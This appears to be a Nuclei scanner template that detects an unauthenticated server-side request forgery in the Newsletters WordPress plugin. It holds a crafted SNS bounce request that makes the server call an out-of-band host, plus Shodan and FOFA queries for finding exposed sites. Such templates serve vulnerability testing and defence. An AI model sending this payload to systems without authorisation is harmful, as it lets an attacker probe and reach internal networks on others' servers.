Newsletters < 4.16 - Unauthenticated SSRF via SNS Bounce Handler

id: CVE-2026-16268

info:
  name: Newsletters < 4.16 - Unauthenticated SSRF via SNS Bounce Handler
  author: str4k3r
  severity: medium
  description: |
    Newsletters WordPress plugin < 4.16 contains a server-side request forgery caused by lack of authentication and validation in bounce-processing requests, letting unauthenticated attackers make arbitrary requests to internal or external hosts.
  impact: |
    Unauthenticated attackers can make the server send requests to arbitrary hosts, potentially leading to internal network scanning or interaction with unintended services.
  remediation: |
    Update to version 4.16 or later.
  reference:
    - https://wpscan.com/vulnerability/65612dd4-83d8-40c5-8e12-862e9b5f940b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16268
  classification:
    cve-id: CVE-2026-16268
    cwe-id: CWE-918
    cvss-score: 5.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: newsletters-lite
    product: newsletters-lite
    framework: wordpress
    fofa-query: body="/wp-content/plugins/newsletters-lite/"
    shodan-query: http.html:"/wp-content/plugins/newsletters-lite/"
  tags: cve,cve2026,wordpress,wp-plugin,newsletters-lite,ssrf,unauth,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Newsletters", "newsletters")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?wpmlmethod=bounce&type=sns HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"Type":"SubscriptionConfirmation","SubscribeURL":"http://{{interactsh-url}}/nuclei-ssrf-probe","Message":"{}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
        condition: and
# digest: 490a0046304402207d85295385ac4fd7d765797534415b533fb47b3e31ec81bd5ddb40057599898502201b967434def01cd773edc4b8c6ce42cc94758ed228644b27d74effd1b6bd99cb:922c64590222798bb761d5b6d8e72950